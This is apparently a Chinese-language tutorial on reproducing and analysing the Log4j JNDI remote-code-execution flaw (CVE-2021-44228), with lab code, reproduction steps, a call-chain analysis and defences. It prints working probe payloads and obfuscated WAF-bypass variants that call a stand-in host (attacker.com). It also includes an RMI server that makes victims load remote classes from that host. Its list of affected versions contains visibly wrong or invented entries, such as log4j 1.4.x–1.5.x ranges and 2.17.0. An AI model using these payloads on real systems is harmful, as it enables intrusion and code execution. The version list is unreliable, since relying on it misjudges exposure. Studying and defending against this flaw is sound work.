log4j漏洞复现及详细分析
字数 1997 2025-08-10 21:22:35
Log4j漏洞复现及详细分析教学文档
一、前置知识
1.1 漏洞成因
Log4j漏洞(CVE-2021-44228)的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成远程代码执行(RCE)。
1.2 JNDI注入原理
JNDI基本介绍
JNDI(Java Naming and Directory Interface)是Java中为命名和目录服务提供接口的API,主要由两部分组成:
- Naming(命名):将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象
- Directory(目录):将对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性并操作属性
JNDI架构
JNDI主要由两部分组成:
- JNDI API:Java应用程序通过JNDI API访问目录服务
- JNDI SPI:JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI操作命名或目录服务(LDAP, DNS, RMI等)
JNDI核心API
| 类名 | 描述 |
|---|---|
| Context | 命名服务的接口类,由name-to-object的键值对组成 |
| InitialContext | 命名服务操作的入口类 |
| DirContext | 目录服务的接口类,继承自Context |
| InitialDirContext | 目录服务相关操作的入口类 |
Context核心方法
// 根据Name或字符串name获取绑定在context中的对象
public Object lookup(Name name) throws NamingException;
public Object lookup(String name) throws NamingException;
// 使用Name或字符串name将对象绑定到Context中
public void bind(Name name, Object obj) throws NamingException;
public void bind(String name, Object obj) throws NamingException;
DirContext核心方法
// 获取绑定对象的所有已关联的属性
public Attributes getAttributes(Name name) throws NamingException;
public Attributes getAttributes(String name) throws NamingException;
// 获取与属性标识符id相关联的属性
public Attributes getAttributes(Name name, String[] attrIds) throws NamingException;
public Attributes getAttributes(String name, String[] attrIds) throws NamingException;
// 将Name和Object绑定,同时关联属性
public void bind(Name name, Object obj, Attributes attrs) throws NamingException;
public void bind(String name, Object obj, Attributes attrs) throws NamingException;
1.3 JNDI操作示例
本地加载实例
- 创建RMI服务绑定本地类
- 客户端通过
${jndi:rmi://localhost:1099/evil}表达式调用 - 日志格式化时执行lookup,触发RMI调用
远程加载实例
- 编译恶意类(exp.java)
- 启动RMI服务并指定远程加载地址
- 在恶意类所在目录开启web服务
- 客户端调用时从远程加载并执行恶意代码
1.4 漏洞影响版本
- log4j-1.2.x: 1.2.17及之前所有版本
- log4j-1.3-Alpha (已停止开发)
- log4j-1.4.x: 1.4至1.4.17
- log4j-1.5.x: 1.5.0至1.5.24
- log4j-1.6.x及以上版本
- log4j-2.x: 2.0至2.17.0
二、环境搭建
2.1 所需组件
- JDK版本: 建议使用jdk_1.7u80(对JNDI限制较少)
- IDE: IntelliJ IDEA
- 依赖: log4j-core
2.2 示例代码
恶意类(exp.java)
public class exp {
static {
System.out.println("恶意代码执行!");
}
}
漏洞测试类(log4jTest.java)
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4jTest {
private static final Logger LOGGER = LogManager.getLogger(log4jTest.class);
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://attacker.com/exp}");
}
}
RMI服务类(Log4jServer.java)
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class Log4jServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("exp", "exp", "http://attacker.com/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
System.out.println("RMI服务启动,监听1099端口...");
}
}
2.3 常用探测Payload
${jndi:ldap://attacker.com/exp}
${jndi:rmi://attacker.com/exp}
${jndi:dns://attacker.com/exp}
变种Payload:
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com/exp}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/exp}
三、漏洞复现步骤
- 编译恶意类(exp.java)并放置在web服务器可访问位置
- 启动RMI/LDAP恶意服务(Log4jServer.java)
- 在恶意类所在目录开启web服务(如
python -m http.server 8000) - 运行漏洞测试类(log4jTest.java)
- 观察恶意代码是否被执行
四、漏洞原理分析
4.1 调用链分析
- 日志记录触发字符串插值处理
- StrSubstitutor类处理
${}表达式 - 调用lookup方法解析JNDI引用
- JNDI调用链:
- 生成RMI/LDAP实例
- 获取Reference实例
- 判断绑定对象是否在本地
- 不在本地则从远程加载
- RegistryContext获取恶意类实例
- getObjectInstance方法从Reference中获取工厂类
- loadClass方法通过反射加载并执行恶意类
4.2 关键代码节点
- StrSubstitutor:开始反序列化的前奏,进入lookup方法
- JndiLookup:处理JNDI协议调用
- RegistryContext:获取远程类实例
- NamingManager:负责从Reference加载类
- getObjectFactoryFromReference:决定从本地还是远程加载类
- loadClass:最终通过反射执行恶意代码
五、防御措施
- 升级到Log4j 2.17.1或更高版本
- 设置系统属性
log4j2.formatMsgNoLookups=true - 移除JndiLookup类
- 限制出站网络连接
- 使用WAF拦截包含
${jndi:的请求 - 升级JDK到最新版本(增加JNDI限制)
六、总结
Log4j漏洞通过JNDI注入实现远程代码执行,危害极大。理解其原理需要掌握JNDI工作机制和Log4j的日志处理流程。防御关键在于及时升级、限制危险功能和加强网络管控。